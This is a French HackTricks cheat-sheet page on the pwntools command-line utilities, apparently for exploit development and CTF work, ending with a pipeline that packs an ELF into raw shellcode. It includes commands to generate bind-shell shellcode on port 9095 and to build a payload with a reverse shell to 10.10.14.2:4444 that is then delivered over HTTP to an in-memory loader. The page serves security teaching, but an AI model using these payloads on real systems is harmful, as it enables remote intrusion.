PwnTools
Reading time: 5 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
pip3 install pwntools
Pwn asm
Obtenir les opcodes d'une ligne ou d'un fichier.
pwn asm "jmp esp"
pwn asm -i <filepath>
Peut sélectionner :
- output type (raw,hex,string,elf)
- output file context (16,32,64,linux,windows...)
- avoid bytes (new lines, null, a list)
- sélectionner encoder/debug shellcode et utiliser gdb pour exécuter la sortie
Pwn checksec
Script Checksec
pwn checksec <executable>
Pwn constgrep
Pwn cyclic
Obtenir un pattern
pwn cyclic 3000
pwn cyclic -l faad
Peut sélectionner :
- L'alphabet utilisé (caractÚres minuscules par défaut)
- Longueur du motif unique (par défaut 4)
- contexte (16,32,64,linux,windows...)
- Récupérer l'offset (-l)
Pwn debug
Attacher GDB Ă un processus
pwn debug --exec /bin/bash
pwn debug --pid 1234
pwn debug --process bash
Peut sélectionner :
- Par executable, par name ou par pid context (16,32,64,linux,windows...)
- gdbscript à exécuter
- sysrootpath
Pwn disablenx
Désactiver nx d'un binaire
pwn disablenx <filepath>
Pwn disasm
Désassembler des hex opcodes
pwn disasm ffe4
Peut sélectionner :
- context (16,32,64,linux,windows...)
- adresse de base
- couleur (par défaut)/sans couleur
Pwn elfdiff
Afficher les différences entre 2 fichiers
pwn elfdiff <file1> <file2>
Pwn hex
Obtenir la représentation hexadécimale
pwn hex hola #Get hex of "hola" ascii
Pwn phd
Obtenir hexdump
pwn phd <file>
Peut sélectionner :
- Nombre de bytes Ă afficher
- Nombre de bytes par ligne â byte en surbrillance
- Ignorer les bytes au début
Pwn pwnstrip
Pwn scrable
Pwn shellcraft
Obtenir shellcodes
pwn shellcraft -l #List shellcodes
pwn shellcraft -l amd #Shellcode with amd in the name
pwn shellcraft -f hex amd64.linux.sh #Create in C and run
pwn shellcraft -r amd64.linux.sh #Run to test. Get shell
pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port
Peut sélectionner :
- shellcode et les arguments pour le shellcode
- Fichier de sortie
- format de sortie
- debug (attacher dbg au shellcode)
- before (debug trap avant le code)
- after
- éviter d'utiliser les opcodes (par défaut : pas de null et new line)
- Exécuter le shellcode
- Couleur / pas de couleur
- lister les syscalls
- lister les shellcodes possibles
- Générer un ELF en tant que bibliothÚque partagée
Pwn template
Obtenir un template python
pwn template
Peut sélectionner : host, port, user, pass, path et quiet
Pwn unhex
De hex Ă string
pwn unhex 686f6c61
Pwn update
Pour mettre Ă jour pwntools
pwn update
ELF â raw shellcode packaging (loader_append)
Pwntools peut convertir un ELF autonome en un seul blob de raw shellcode qui mappe luiâmĂȘme ses segments et transfĂšre l'exĂ©cution vers l'entrypoint original. Ceci est idĂ©al pour les loaders en mĂ©moire uniquement (par ex. applications Android invoquant JNI pour exĂ©cuter des bytes tĂ©lĂ©chargĂ©s).
Typical pipeline (amd64 example)
- Construire un ELF payload statique et positionâindĂ©pendant (musl recommandĂ© pour la portabilitĂ©):
musl-gcc -O3 -s -static -o exploit exploit.c \
-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""
- Convertir ELF â shellcode avec pwntools:
# exp2sc.py
from pwn import *
context.clear(arch='amd64')
elf = ELF('./exploit')
sc = asm(shellcraft.loader_append(elf.data, arch='amd64'))
open('sc','wb').write(sc)
print(f"ELF size={len(elf.data)} bytes, shellcode size={len(sc)} bytes")
- Livrer le sc Ă un memory loader (p. ex., via HTTP[S]) et exĂ©cuter inâprocess.
Remarques
- loader_append intÚgre le programme ELF original dans le shellcode et émet un petit loader qui mmaps les segments et saute à l'entry.
- Soyez explicite sur l'architecture via context.clear(arch=...). arm64 est courant sur Android.
- Conservez le code de votre payload positionâindependent et Ă©vitez de faire des hypothĂšses sur l'ASLR/NX du processus.
Références
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.